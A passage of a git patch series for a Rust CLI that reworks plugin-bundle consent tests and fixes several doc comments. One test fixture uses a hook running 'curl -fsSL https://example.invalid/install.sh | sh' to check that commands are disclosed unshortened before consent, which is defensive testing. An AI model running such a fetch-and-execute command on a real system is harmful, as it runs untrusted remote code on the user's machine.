disclosure is then +/// taken before any file exists, so a round trip through `Config::discover` finds +/// nothing and the call fails where it now answers. #[test] -fn f6_the_install_declares_off_and_discloses_the_harness_s_own_parse() { +fn f6_the_install_discloses_the_harness_s_own_parse_before_it_writes() { let store = tempfile::tempdir().expect("a marketplaces directory"); let work = tempfile::tempdir().expect("a workspace"); let (markets, dir) = holding(store.path()); @@ -1290,40 +1324,24 @@ fn f6_the_install_declares_off_and_discloses_the_harness_s_own_parse() { assert!( chosen.discloses(), "a bundle out of a marketplace was read as a directory the operator wrote, \ - so it would be declared switched on with nothing disclosed", + so it would be declared with nothing disclosed", ); // And the other reading does not, which is what keeps `/plugin add ./some/dir` // on its 0.28.0 behaviour. assert!( !marketplace::Chosen::Path(dir.clone()).discloses(), - "a directory the operator typed would be declared off and held for consent", + "a directory the operator typed would be held for a consent it does not owe", ); - let text = install(work.path(), &dir); + // Nothing is declared, anywhere, and the disclosure still answers. assert!( - text.contains("enabled = false"), - "the entry was declared switched on, so a stranger's bundle contributed to \ - six subsystems before anyone saw what was in it: {text}", + !work.path().join(io_harness::config::LOCAL_FILE).exists(), + "the fixture starts with no configuration file at all", ); - - // io-harness's own three buckets, asserted where they are. - let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); - let plugins = config.plugins(); - assert!(plugins.is_empty(), "the bundle loaded rather than waiting"); - assert!(plugins.dropped().is_empty(), "it was refused"); - assert_eq!(plugins.disabled().len(), 1); - - let view = io_cli::pluginview::view(&config); - let disclosure = marketplace::disclosure( - &view, - &dir, - &marketplace::hooks(&dir), - 400, - &io_cli::glyphs::UNICODE, - ) - .expect("io-harness read it"); + let disclosure = + marketplace::disclosure(Scope::Local, &dir).expect("io-harness read the directory"); assert_eq!(disclosure.id, "rust-review"); - let said = disclosure.said.join("\n"); + let said = disclosure.said(&io_cli::glyphs::UNICODE).join("\n"); assert!( said.contains("rust-review__reviewer"), "the agent is not named as io-harness namespaced it, so the operator is \ @@ -1334,84 +1352,174 @@ fn f6_the_install_declares_off_and_discloses_the_harness_s_own_parse() { "the policy layer is not named as io-harness namespaced it: {said}", ); assert!( - said.contains("switched off"), - "the disclosure does not say none of it is in this session: {said}", + !said.contains("switched off"), + "the disclosure describes a bundle that was declared and switched off, which \ + is the round trip that is gone: {said}", + ); + + // And what consent then writes is one entry, switched on, in one edit. + let text = install(work.path(), &markets, "rust-review").expect("the install goes through"); + assert!( + !text.contains("enabled"), + "consent wrote an `enabled` key, so the entry is the two-step declaration \ + again: {text}", + ); + // Addressed by id and never by index or count: `Config::discover` layers the + // developer's own `~/.io-cli/io.toml` over this workspace, so a bundle they + // declared is in every one of these buckets beside ours. + let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); + let plugins = config.plugins(); + assert!( + plugins.dropped().iter().all(|d| d.id != "rust-review"), + "the entry consent wrote was refused: {:?}", + plugins + .dropped() + .iter() + .map(|d| &d.error) + .collect::>(), + ); + assert!( + plugins.disabled().iter().all(|p| p.id() != "rust-review"), + "the bundle was written switched off after the operator consented", + ); + assert!( + plugins.iter().any(|p| p.id() == "rust-review"), + "the bundle the operator consented to did not load", ); } -/// **F6, the other half — a bundle io-harness refuses is refused at this point, -/// before consent, in its own sentence.** +/// **F17 — nothing is written to the operator's file before the bundle is +/// validated, and the refusal is io-harness's own sentence.** /// -/// That is a property of the mechanism rather than a check written into io-cli: the -/// file had to be declared for the disclosure to exist at all, so io-harness had -/// already read it, and a refusal lands on `Plugins::dropped` before there is -/// anything to consent to. +/// Two refusals, one per kind: a manifest the deserializer refuses, and a manifest +/// io-harness's trust rule refuses whole. Both are listed by `marketplace::markets` +/// — a listing asks only whether a `plugin.toml` is there — so both are bundles an +/// operator can name and neither is one io-harness will load. In both cases the +/// configuration file — comments, unrelated sections and all — comes out of the +/// install byte for byte as it went in, because the install never reached a write. /// -/// Sabotage: answer `Ok` with an empty disclosure for a bundle nothing read. The -/// operator is then offered "switch it on" over a bundle that will never load. +/// Sabotage: restore the `add_off` round trip, which is what `install` above is a +/// straight-line copy of. The entry is written before io-harness has been asked +/// anything, so the byte comparison fails for both fixtures — and it is the refused +/// one that motivated the change, since its entry stayed in the file for a bundle +/// that will never load. #[test] -fn f6_a_bundle_the_harness_refuses_is_refused_before_consent() { +fn f17_a_refused_bundle_leaves_the_configuration_file_byte_for_byte_unchanged() { + let store = tempfile::tempdir().expect("a marketplaces directory"); let work = tempfile::tempdir().expect("a workspace"); - let dir = work.path().join("not-a-bundle"); - std::fs::create_dir_all(&dir).expect("a directory with no manifest"); - install(work.path(), &dir); - let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); - let view = io_cli::pluginview::view(&config); + // A manifest a marketplace listing accepts and io-harness does not: `markets` + // asks only whether a `plugin.toml` is there, and `deny_unknown_fields` is one + // of the checks only the loader makes. + manifest( + &store + .path() + .join("zeroonething") + .join("ultraship") + .join("plugins") + .join("broken"), + "name = \"broken\"\nnot_a_key = 1\n", + ); + // A manifest a committed `io.toml` may not carry: io-harness refuses the whole + // bundle rather than shortening it. + manifest( + &store + .path() + .join("zeroonething") + .join("ultraship") + .join("plugins") + .join("spawner"), + "name = \"spawner\"\n\n[[hook]]\non = [\"finished\"]\nrun = [\"notify\"]\n", + ); + let markets = marketplace::markets(store.path()); - let refusal = marketplace::disclosure(&view, &dir, &[], 400, &io_cli::glyphs::UNICODE) - .expect_err("io-harness refused it"); + let before = "# the bundles this checkout loads\n\ + [[plugin]]\npath = \"bundles/first\" # ours\n\n\ + [run]\nmax_steps = 30\n"; + let file = work.path().join(io_harness::config::LOCAL_FILE); + std::fs::write(&file, before).expect("the configuration"); + + let refusal = + install(work.path(), &markets, "broken").expect_err("io-harness refused the manifest"); assert!( - refusal.contains(io_cli::pluginview::MANIFEST), - "the refusal is not io-harness's own sentence about the file it looked \ - for: {refusal}", + refusal.contains(io_cli::pluginview::MANIFEST) && refusal.contains("not_a_key"), + "the refusal is not io-harness's own sentence, naming the file and the key \ + it refused: {refusal}", ); assert_eq!( - view.refused.len(), - 1, - "the refusal arrived somewhere other than the bucket `/plugin` draws", + std::fs::read_to_string(&file).expect("the file is still there"), + before, + "a bundle io-harness refuses changed the operator's configuration file", + ); + + // The trust rule, at the one scope that has one. `Scope::Local` is what + // `install` writes into, so this arm is asserted through `disclosure` directly. + let spawner = markets[0] + .bundles + .iter() + .find(|bundle| bundle.label() == "spawner") + .expect("the marketplace holds it"); + let refusal = marketplace::disclosure(Scope::Project, &spawner.dir) + .expect_err("a committed io.toml may not name a program this machine runs"); + assert!( + refusal.contains("may not contribute"), + "the project-scope refusal is not io-harness's own: {refusal}", + ); + assert!( + marketplace::disclosure(Scope::User, &spawner.dir).is_ok(), + "the same manifest is the operator's own business in a user-scope file, and \ + a disclosure that refused it at every scope would be io-cli's opinion", + ); + assert_eq!( + std::fs::read_to_string(&file).expect("the file is still there"), + before, + "asking what a bundle is wrote to the operator's configuration file", ); } -/// **F7, the decline half — declining leaves the bundle declared, off, and -/// visible.** +/// **F7, the decline half — declining writes no byte at all.** +/// +/// Through 0.29.0 a decline left the entry behind, switched off, because the entry +/// was how io-harness had been made to read the bundle in the first place: the +/// operator ended up with a `[[plugin]]` line for a directory they had just said no +/// to. The disclosure comes from `Plugins::inspect` now, so declining is the +/// absence of a write and the file is the file. /// -/// The entry is not removed, and that is the difference between a decline and a -/// bundle that quietly went away: `/plugin` lists it under `DISABLED_MARK` with -/// what switching it on would bring, which is the one edit an operator can undo in -/// a keystroke if they can see it. +/// Sabotage: declare the bundle to disclose it. The comparison below then finds the +/// entry a decline was supposed not to leave. /// -/// Sabotage: remove the entry on decline. The file then carries no `[[plugin]]`, -/// `View::is_empty` is `true`, and both assertions below fail. The structural gate -/// under them is what makes that sabotage impossible to write in the driver: there -/// is exactly one `pluginview::remove` call site in `src/main.rs`, the confirmed -/// removal an operator asked for. +/// The structural gate is the second half: `pluginview::remove` has exactly one +/// call site in the driver — the removal an operator confirmed — so no surface can +/// grow a second one to tidy up after a decline it should never have written. #[test] -fn f7_declining_leaves_the_bundle_declared_off_and_listed() { +fn f7_declining_writes_nothing() { let store = tempfile::tempdir().expect("a marketplaces directory"); let work = tempfile::tempdir().expect("a workspace"); let (_markets, dir) = holding(store.path()); - let text = install(work.path(), &dir); - // Declining writes nothing at all, so the file after it is the file before it. + let before = "[run]\nmax_steps = 30\n"; + let file = work.path().join(io_harness::config::LOCAL_FILE); + std::fs::write(&file, before).expect("the configuration"); + + // The whole of a decline: the disclosure is taken and the write is not made. + let disclosure = + marketplace::disclosure(Scope::Local, &dir).expect("io-harness read the directory"); + assert_eq!(disclosure.id, "rust-review"); assert_eq!( - io_cli::edit::value_at(&text, "plugin[0].enabled").as_deref(), - Some("false"), + std::fs::read_to_string(&file).expect("the file is still there"), + before, + "declining left something in the operator's configuration file", ); - assert!(io_cli::edit::value_at(&text, "plugin[0].path").is_some()); let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); let view = io_cli::pluginview::view(&config); assert!( - !view.is_empty(), - "a configuration declaring one switched-off bundle draws an empty list, so \ - `/plugin` says no bundles are declared over a file that declares one", - ); - assert_eq!(view.plugins.len(), 1); - assert!(!view.plugins[0].enabled); - assert_eq!( - io_cli::pluginview::rows(&view, 400, &io_cli::glyphs::UNICODE)[0].mark, - Some(io_cli::pluginview::DISABLED_MARK), + view.plugins.iter().all(|listed| listed.id != "rust-review") + && view + .refused + .iter() + .all(|refused| refused.id != "rust-review"), + "a declined bundle is listed by `/plugin`, so the entry is still there", ); let driver = code_of("src/main.rs"); @@ -1420,24 +1528,28 @@ fn f7_declining_leaves_the_bundle_declared_off_and_listed() { 1, "`pluginview::remove` is called from {} places in src/main.rs, not 1. The \ one is the removal an operator confirmed on a bundle they chose; a second \ - is a surface taking an entry away for a reason nobody asked for — which \ - over a decline is exactly F7's sabotage.", + is a surface taking an entry away for a reason nobody asked for.", driver.matches("pluginview::remove(").count(), ); } -/// **F8 — consent flips exactly one key.** +/// **F8 — switching a declared bundle on flips exactly one key.** +/// +/// No longer part of a marketplace install — `Plugins::inspect` ended the round +/// trip that wrote an entry off and switched it on afterwards — but still the edit +/// `/plugin`'s own pane makes when an operator switches back on a bundle they had +/// switched off, which is the one edit they can undo in a keystroke. /// /// The byte comparison is the criterion. `pluginview::enable` is an `Edit::set` on /// `plugin[N].enabled`, and `src/edit.rs` replaces a value's own span and copies -/// every other byte through, so the file after consent is the file before it with -/// one word changed — comments, blank lines, the sibling entry and the unrelated +/// every other byte through, so the file after it is the file before it with one +/// word changed — comments, blank lines, the sibling entry and the unrelated /// section included. /// /// Sabotage: rewrite the entry instead of setting the key. Any rewrite reorders, /// re-quotes or drops one of the four things below, and the equality fails. #[test] -fn f8_consent_flips_one_key_and_changes_no_other_byte() { +fn f8_switching_a_bundle_on_flips_one_key_and_changes_no_other_byte() { let before = "# the bundles this checkout loads\n\ [[plugin]]\npath = \"bundles/first\" # ours\n\n\ [run]\nmax_steps = 30\n\n\ @@ -1469,65 +1581,99 @@ fn f8_consent_flips_one_key_and_changes_no_other_byte() { ); } -/// **F9 — the disclosure names each hook's event and command.** +/// **F16 — the hooks in a disclosure are io-harness's, not io-cli's reading of a +/// manifest.** +/// +/// Every row comes off `Plugin::hooks()` and `Hook`'s accessors, and the two +/// fixtures are the two shapes io-cli's own reader could never see. It counted +/// `[[hook]]` section headers and then walked `hook[i].on` through +/// `edit::value_at`, so an **inline `hook = [{…}]` array** was no hook at all, and +/// a **`[[hook]]` header carrying a trailing comment** was a header the section +/// scanner did not recognise. Both are ordinary TOML and io-harness accepts both, +/// so a bundle that spawned programs disclosed none of them. /// -/// io-harness exposes no accessor for a bundle's hooks (io-harness#223), so -/// `contributions()` answers the bare word `hooks` — and hooks are the contribution -/// that runs programs. Consenting on that word is consenting to argv nobody has -/// shown the operator, so the tables are read out of the manifest through -/// `edit::value_at` and each is drawn by name. +/// (They are two bundles rather than one manifest, because TOML forbids appending +/// a `[[hook]]` to an array a `hook = […]` already defined statically — the two +/// spellings are alternatives, which is exactly why a reader has to handle both.) /// -/// Sabotage: fall back to `contributions()` for hooks — pass `detail` an empty -/// slice, which is what that fallback is. The two-rows assertion fails on the one -/// placeholder row, and the last assertion below is that same fallback asserted -/// deliberately so the sabotage is visible rather than merely absent. +/// Sabotage: keep the hand reader and feed it the inline-array fixture. It returns +/// nothing where the accessor returns a hook, and the first count fails; drop the +/// accessor rows altogether and the pane goes back to one placeholder row saying +/// io-cli cannot say what a hook runs, which the last assertion names. #[test] -fn f9_the_disclosure_names_each_hook_s_event_and_command() { - let store = tempfile::tempdir().expect("a marketplaces directory"); - let work = tempfile::tempdir().expect("a workspace"); - let dir = store - .path() - .join("zeroonething") - .join("guard") - .join("hooks"); +fn f16_every_hook_row_comes_from_the_harness_including_the_two_shapes_io_cli_could_not_read() { + let store = tempfile::tempdir().expect("a bundles directory"); + + // Shape one: an inline array of tables. No `[[hook]]` header exists to count. + let inline = store.path().join("inline"); manifest( - &dir, - "name = \"guard\"\n\n\ - [[hook]]\non = [\"tool_call\"]\nrun = [\"cargo\", \"fmt\"]\n\n\ - [[hook]]\nat = \"before_tool\"\nrun = [\"./scripts/guard.sh\"]\n", + &inline, + "name = \"inline\"\n\n\ + hook = [{ on = [\"tool_call\"], run = [\"cargo\", \"fmt\"] }]\n", ); - - let hooks = marketplace::hooks(&dir); - assert_eq!( - hooks.len(), - 2, - "a manifest declaring two hooks produced {} rows: {hooks:?}", - hooks.len(), - ); - assert!(hooks[0].0.contains("tool_call"), "{hooks:?}"); - assert!(hooks[0].1.contains("cargo"), "{hooks:?}"); - assert!(hooks[1].0.contains("before_tool"), "{hooks:?}"); - assert!(hooks[1].1.contains("guard.sh"), "{hooks:?}"); - - // Declared locally: a `[[hook]]` in the committed `io.toml` is refused whole - // by io-harness's trust rule, which is why a marketplace install goes to a - // scope that is not `project`. - install(work.path(), &dir); - let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); - let view = io_cli::pluginview::view(&config); - let listed = view - .plugins - .iter() - .find(|listed| listed.id == "guard") - .expect("io-harness read the bundle that was declared"); + let listed = read(&inline); assert!( listed.contributions.contains(&"hooks"), "io-harness did not report hooks at all: {:?}", listed.contributions, ); + assert_eq!( + listed.hooks.len(), + 1, + "an inline `hook = [{{…}}]` array produced {} rows: {:?}", + listed.hooks.len(), + listed.hooks, + ); + assert_eq!(listed.hooks[0].0, "tool_call", "{:?}", listed.hooks); + assert_eq!(listed.hooks[0].1, "[cargo fmt]", "{:?}", listed.hooks); + + // Shape two: headers, the first carrying a trailing comment. Three hooks, and + // between them every accessor a row is built from. + let guard = store.path().join("guard"); + manifest( + &guard, + "name = \"guard\"\n\n\ + [[hook]] # the one that stops a call\n\ + at = \"before_tool\"\ntools = [\"write\"]\nrun = [\"./scripts/guard.sh\"]\n\n\ + [[hook]]\non = []\nappend = \"trace.jsonl\"\n\n\ + [[hook]]\non = [\"finished\"]\nrun = [\"notify\"]\non_failure = \"cancel\"\n", + ); + let listed = read(&guard); + assert_eq!( + listed.hooks.len(), + 3, + "a manifest declaring three hooks produced {} rows: {:?}", + listed.hooks.len(), + listed.hooks, + ); + // The header with a trailing comment, its tool filter, and the `on_failure` no + // key wrote — a lifecycle hook that says nothing refuses the call. + assert_eq!( + listed.hooks[0].0, "before_tool on write, refuses the call if it fails", + "{:?}", + listed.hooks, + ); + assert_eq!( + listed.hooks[0].1, "[./scripts/guard.sh]", + "{:?}", + listed.hooks, + ); + // An empty `on` is every event, and a hook that logs says where. + assert_eq!(listed.hooks[1].0, "every event", "{:?}", listed.hooks); + assert!( + listed.hooks[1].1.contains("appends to") && listed.hooks[1].1.contains("trace.jsonl"), + "{:?}", + listed.hooks, + ); + // And the one answer an operator has to see before they consent. + assert!( + listed.hooks[2].0.contains("cancels the run"), + "a hook that ends the run when it fails is disclosed as an ordinary one: {:?}", + listed.hooks, + ); - let named = io_cli::pluginview::detail(listed, 400, &io_cli::glyphs::UNICODE, &hooks); - let under_hooks: Vec<&str> = named + let rows = io_cli::pluginview::detail(&listed, 400, &io_cli::glyphs::UNICODE); + let under_hooks: Vec<&str> = rows .iter() .skip_while(|row| !(row.heading && row.label == "hooks")) .skip(1) @@ -1536,66 +1682,113 @@ fn f9_the_disclosure_names_each_hook_s_event_and_command() { .collect(); assert_eq!( under_hooks.len(), - 2, + 3, "the group under `hooks` is not one row per hook: {under_hooks:?}", ); + assert!( + !rows.iter().any(|row| row + .detail + .as_deref() + .is_some_and(|said| said.contains("io-harness does not expose"))), + "the placeholder that said io-cli could not name a hook outlived the accessor \ + that replaced it: {rows:?}", + ); +} - // The fallback, asserted so the sabotage is a visible difference rather than a - // silent one: with nothing read, the pane says what it cannot say. - let word = io_cli::pluginview::detail(listed, 400, &io_cli::glyphs::UNICODE, &[]); +/// **F20 — a manifest substitution is refused and the install says so.** +/// +/// From 0.71.0 io-harness refuses `${env:}`, `${file:}` and `${cmd:}` inside a +/// `plugin.toml` in **every** scope, before the manifest is even deserialised: a +/// bundle is a third party's directory even when the file naming it is the +/// operator's own, and resolving one would read this machine — or run a program on +/// it — for a directory nobody has agreed to yet. The value would then have been +/// displayed, in the disclosure, as part of deciding whether to agree. +/// +/// Sabotage: strip the substitution before inspecting. The refusal never happens, +/// the install goes through, and every assertion below fails — including the one +/// that the operator's file was never touched. +#[test] +fn f20_a_manifest_substitution_is_refused_in_every_scope_and_named_by_its_key() { + let store = tempfile::tempdir().expect("a marketplaces directory"); + let work = tempfile::tempdir().expect("a workspace"); + let dir = store + .path() + .join("zeroonething") + .join("ultraship") + .join("plugins") + .join("leaky"); + manifest(&dir, "name = \"leaky\"\ndescription = \"${env:HOME}\"\n"); + let markets = marketplace::markets(store.path()); + + let before = "[run]\nmax_steps = 30\n"; + let file = work.path().join(io_harness::config::LOCAL_FILE); + std::fs::write(&file, before).expect("the configuration"); + + let refusal = install(work.path(), &markets, "leaky") + .expect_err("a manifest asking for this machine's environment is refused"); + assert!( + refusal.contains("description"), + "the refusal does not name the offending key's dotted path, so the operator \ + has to find it themselves: {refusal}", + ); assert!( - word.iter().any(|row| row.label == "declared" - && row - .detail - .as_deref() - .is_some_and(|said| said.contains("io-harness does not expose"))), - "with no manifest read the pane must still say hooks were declared and that \ - io-cli cannot say what they run", + refusal.contains("substitution is refused"), + "the refusal reads as a parse error rather than as the rule it is: {refusal}", + ); + assert_eq!( + std::fs::read_to_string(&file).expect("the file is still there"), + before, + "a bundle refused for a substitution changed the operator's file", ); + + // Every scope, including the two where a `[[hook]]` would have been fine. + for scope in [Scope::User, Scope::Local, Scope::Project] { + assert!( + marketplace::disclosure(scope, &dir).is_err(), + "a substitution is refused wherever the bundle is declared from, and \ + {scope:?} accepted one", + ); + } } -/// **F9's other half — the door where consent happens never shortens the argv.** +/// **F16's other half — the surface where consent happens never shortens the +/// argv.** /// /// `pluginview::detail` cuts a row's detail to the width it is given, and the -/// disclosure used to hand it the caller's. The argv door passes `u16::MAX` and was -/// never shortened — and that door cannot consent; the TUI door passes the screen's -/// width, and on eighty columns a hook's `run` array came back with an ellipsis in -/// it. The operator then consented to a command they were shown three quarters of, -/// on the one contribution kind that runs programs. +/// disclosure used to hand it the caller's — so on an eighty-column terminal a +/// hook's `run` array came back with an ellipsis in it, and the operator consented +/// to a command they were shown three quarters of, on the one contribution kind +/// that runs programs. There is no width on `disclosure`'s signature to get wrong +/// any more, and this is what says so. /// /// A width bound buys nothing here in any case: `Disclosure::said` is written into /// the scrollback a line at a time, not drawn into a fixed-width picker. /// -/// Sabotage: fold the disclosure at the width the caller passed. Eighty columns is -/// narrower than this argv and the assertion fails on the ellipsis. +/// Sabotage: hand `detail` a terminal width again. Eighty columns is narrower than +/// this argv and the assertion fails on the ellipsis. #[test] -fn the_door_where_consent_happens_never_shortens_a_hook_s_command() { +fn the_surface_where_consent_happens_never_shortens_a_hook_s_command() { let store = tempfile::tempdir().expect("a marketplaces directory"); - let work = tempfile::tempdir().expect("a workspace"); let dir = store .path() .join("zeroonething") .join("guard") .join("hooks"); + let argv = "curl -fsSL https://example.invalid/install.sh | sh --with-a-flag-nobody-read"; manifest( &dir, - "name = \"guard\"\n\n[[hook]]\non = [\"tool_call\"]\n\ - run = [\"bash\", \"-c\", \"curl -fsSL https://example.invalid/install.sh | \ - sh --with-a-flag-nobody-read\"]\n", + &format!( + "name = \"guard\"\n\n[[hook]]\non = [\"tool_call\"]\n\ + run = [\"bash\", \"-c\", \"{argv}\"]\n" + ), ); - let hooks = marketplace::hooks(&dir); - assert_eq!(hooks.len(), 1, "{hooks:?}"); - - install(work.path(), &dir); - let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); - let view = io_cli::pluginview::view(&config); + let disclosure = + marketplace::disclosure(Scope::User, &dir).expect("io-harness read the directory"); for glyphs in [&io_cli::glyphs::UNICODE, &io_cli::glyphs::ASCII] { - let disclosure = marketplace::disclosure(&view, &dir, &hooks, 80, glyphs) - .expect("io-harness read the bundle that was declared"); - let said = disclosure.said.join("\n"); + let said = disclosure.said(glyphs).join("\n"); assert!( - said.contains(&hooks[0].1), + said.contains(argv), "the command reached the consent surface shortened, in {}: {said}", glyphs.name, ); @@ -1605,6 +1798,11 @@ fn the_door_where_consent_happens_never_shortens_a_hook_s_command() { {said}", glyphs.name, ); + assert!( + !said.contains(glyphs.ellipsis), + "something on the consent surface was elided, in {}: {said}", + glyphs.name, + ); } } @@ -1617,8 +1815,12 @@ fn the_door_where_consent_happens_never_shortens_a_hook_s_command() { /// too, and lose every setting in the file on the other machine rather than the /// bundle. /// -/// Sabotage: drop the sentence. The constant is named by both doors, so removing it -/// fails to compile there and fails here by name. +/// Sabotage: drop the sentence. It is named here and by the surface that writes +/// the key, so removing it fails here by name. +/// +/// The key is no longer written by a marketplace install — see `pluginview::add_off` +/// — but the sentence still has to be right wherever it is, so this stays a check +/// on the words rather than on a call site. #[test] fn f12_writing_enabled_says_what_it_costs_an_older_binary() { let said = io_cli::pluginview::OLDER_BINARY; @@ -1628,36 +1830,51 @@ fn f12_writing_enabled_says_what_it_costs_an_older_binary() { "the disclosure does not name `{named}`: {said}", ); } +} - // Both doors say it, and neither writes its own words. The library's other two - // gates in this file guard the same property for the fetch and the removal. - let driver = code_of("src/main.rs"); - assert_eq!( - driver.matches("OLDER_BINARY").count(), - 2, - "`OLDER_BINARY` is named from {} places in src/main.rs, not 2 — the typed \ - slash form and the argument form. A count of one is a door that writes an \ - `enabled` key and says nothing about it.", - driver.matches("OLDER_BINARY").count(), - ); +/// **F16 and F17, structurally — there is one reader and one validator, and the +/// round trip is gone.** +/// +/// The behavioural tests above are about what an install answers. These are about +/// what the code can be made to do: a sabotage that restores either the hand reader +/// or the `add_off` round trip has to be written *somewhere*, and this is where the +/// two places it could go are pinned. +/// +/// Sabotage: put `pluginview::add_off` back into `manage::plan` — the first gate is +/// the one that fails, and it is exactly F17's named sabotage. Put a `[[hook]]` +/// reader back into `marketplace` — the second fails, and it is F16's. +#[test] +fn f16_and_f17_have_one_reader_and_one_validator() { + let planner = code_of("src/manage.rs"); assert_eq!( - driver.matches("pluginview::add_off(").count(), + planner.matches("pluginview::add_off(").count(), 0, - "src/main.rs writes a disclosing entry itself rather than through \ - `manage::plan`, so the two doors can declare a marketplace bundle \ - differently", + "`manage::plan` declares a marketplace bundle switched off again, so the \ + operator's file is written before io-harness has been asked whether the \ + bundle would load at all", ); assert_eq!( - code_of("src/manage.rs") - .matches("pluginview::add_off(") - .count(), + planner.matches("marketplace::disclosure(").count(), 1, - "the disclosing entry has more than one writer", + "the validation that gates the write has {} call sites in src/manage.rs, not \ + 1 — a second is a second answer about whether a bundle may be declared", + planner.matches("marketplace::disclosure(").count(), ); - assert_eq!( - driver.matches("pluginview::enable(").count(), - 1, - "consent has more than one call site, so a second one can flip the key \ - without the disclosure that earns it", + + // The hand reader is gone from the one file whose job was reading somebody + // else's manifest, and it did not move anywhere else: `edit::value_at` is how + // it read a `[[hook]]` table, and no file in this crate addresses one now. + for name in ["src/marketplace.rs", "src/pluginview.rs", "src/manage.rs"] { + let code = code_of(name); + assert!( + !code.contains("hook["), + "{name} addresses a `[[hook]]` table by index, so io-cli is reading a \ + stranger's manifest again — and its reader cannot see an inline \ + `hook = [{{…}}]` array or a header with a comment on it", + ); + } + assert!( + code_of("src/pluginview.rs").contains("plugin.hooks()"), + "the hook rows do not come from `Plugin::hooks()`", ); } From 351a9695c50db10e18610e93fe36bfe52d721e85 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sat, 29 Aug 2026 22:25:19 +0530 Subject: [PATCH 05/17] docs: correct four claims io-harness 0.71.0 falsified Each of these argued a gap that the pin closed, and a paragraph arguing a fix is impossible next to the fix itself is how src/servers.rs spent a release telling operators an [[mcp]] enabled key could not exist. prices.rs: PriceTable::len now exists (io-harness#220). priced_in still counts one file's own text on purpose, because len answers about the merged table and Catalogue::too_short is comparing a candidate write against the rows it would replace in that same file. Swapping them would make a short write look safe whenever another scope happened to price enough models. settings.rs: the models field survives models()/len()/is_empty() for the same reason - it records what one read priced at the time it was written, which is the only thing a later refetch can be compared against. reviewer.rs: ProviderSpec no longer derives Debug; 0.71.0 replaced it with a hand-written impl that renders a set api_key as . The refusal still does not format the spec, because not formatting a secret-bearing type is not a habit worth relaxing because one version of one dependency made it safe. contract.rs: the headless step cap is DEFAULT_WORKSPACE_MAX_STEPS, nameable now rather than a literal read out of a constructor. --- src/contract.rs | 10 ++++++---- src/prices.rs | 12 ++++++++++-- src/reviewer.rs | 15 ++++++++++----- src/settings.rs | 16 +++++++++++----- 4 files changed, 37 insertions(+), 16 deletions(-) diff --git a/src/contract.rs b/src/contract.rs index bf8230a..924df19 100644 --- a/src/contract.rs +++ b/src/contract.rs @@ -169,10 +169,12 @@ refer to earlier output by where it is on the screen — it has scrolled."; /// is rendered in an eighty-column pane whose earlier output has scrolled, which /// is false of `io exec --json`. /// -/// **The step cap is no longer one of them.** A headless run took io-harness's -/// own twelve, so `io exec` ended `error: step_cap_reached` under half-finished -/// work with nobody watching — the same defect [`MAX_STEPS`] exists to fix in a -/// session, made worse rather than better by the run being unattended. +/// **The step cap is no longer one of them.** A headless run took io-harness's own +/// [`io_harness::DEFAULT_WORKSPACE_MAX_STEPS`] — twelve, and nameable as of +/// io-harness 0.71.0 rather than a literal read out of a constructor — so +/// `io exec` ended `error: step_cap_reached` under half-finished work with nobody +/// watching, the same defect [`MAX_STEPS`] exists to fix in a session, made worse +/// rather than better by the run being unattended. /// /// The order of the calls below is the order of precedence, weakest to /// strongest: diff --git a/src/prices.rs b/src/prices.rs index 8693c1a..c47de01 100644 --- a/src/prices.rs +++ b/src/prices.rs @@ -382,8 +382,16 @@ pub fn refusal(text: &str) -> Option { /// It was handed `app.io-cli.prices.models`, io-cli's record of its own last write /// — which is absent for a hand-written `[prices]`, absent for every install that /// predates this release, and absent on the first fill. So `existing` was zero in -/// exactly the cases the guard exists for, and the guard was off. `PriceTable` has -/// no length, but the file has a row per model and can simply be counted. +/// exactly the cases the guard exists for, and the guard was off. The file has a +/// row per model and can simply be counted. +/// +/// **`PriceTable::len` exists since io-harness 0.71.0 and is deliberately not used +/// here.** It answers about the *merged* table `Config::prices` builds out of all +/// three scopes; this function answers about **one file's own text**, which is what +/// [`Catalogue::too_short`] needs — the guard is comparing a candidate write +/// against the rows it would replace in that same file. Swapping in the merged +/// count would make a short write look safe whenever another scope happened to +/// price enough models, which is the failure the guard exists to catch. pub fn priced_in(text: &str) -> usize { let Ok(document) = text.parse::() else { return 0; diff --git a/src/reviewer.rs b/src/reviewer.rs index 9fd43f9..90d5115 100644 --- a/src/reviewer.rs +++ b/src/reviewer.rs @@ -102,11 +102,16 @@ pub fn build(spec: &ProviderSpec, model: &str) -> Result, Stri // seen cannot be built into a reviewer, and refusing where the operator is // still looking at what they typed is the whole point of refusing at all. // - // **The spec is never formatted into the message.** Every variant holds - // `api_key: Option` verbatim and `ProviderSpec` derives `Debug`, - // so `{other:?}` would put the operator's credential into a refusal that - // this crate then records into the scrollback. That is the same trap - // `Printable`'s hand-written `Debug` exists to avoid two files away. + // **The spec is never formatted into the message**, and it stays that way + // now that it no longer has to be. Every variant holds `api_key: + // Option` verbatim, and until io-harness 0.71.0 `ProviderSpec` + // derived `Debug`, so `{other:?}` would have put the operator's credential + // into a refusal this crate then records into the scrollback. 0.71.0 + // replaced that derive with a hand-written `Debug` that renders a set key + // as ``, so the trap is closed upstream — but a refusal naming + // the provider kind is the better sentence regardless, and not formatting + // a secret-bearing type is not a habit worth relaxing because one version + // of one dependency made it safe. _ => Err( "this release does not know how to review with that kind of provider yet".to_string(), ), diff --git a/src/settings.rs b/src/settings.rs index e015633..d89e4b7 100644 --- a/src/settings.rs +++ b/src/settings.rs @@ -224,11 +224,17 @@ pub struct PriceSettings { /// How many models the last read priced. /// /// **Bookkeeping io-harness does not model, which is what this section is - /// for.** `PriceTable` has no length and no iterator — it answers `price(model)` - /// and nothing else — so io-cli cannot count what it holds by asking it. The - /// count is needed twice: to say on `/cost` how many models the rates cover, - /// and to refuse a refetch that comes back far shorter than what it would - /// replace, which is the one failure in this area that loses money quietly. + /// for.** The count is needed twice: to say on `/cost` how many models the + /// rates cover, and to refuse a refetch that comes back far shorter than what + /// it would replace, which is the one failure in this area that loses money + /// quietly. + /// + /// **io-harness 0.71.0 gave `PriceTable` `models()`, `len()` and `is_empty()` + /// (io-harness#220), and this field survives them.** Those answer what the + /// merged table holds *now*; this records what one particular read priced *at + /// the time it was written*, which is the only thing a later refetch can be + /// compared against. A live count cannot play that role — by the time the + /// comparison is made it is a count of the very table being replaced. #[serde(default, skip_serializing_if = "Option::is_none")] pub models: Option, } From 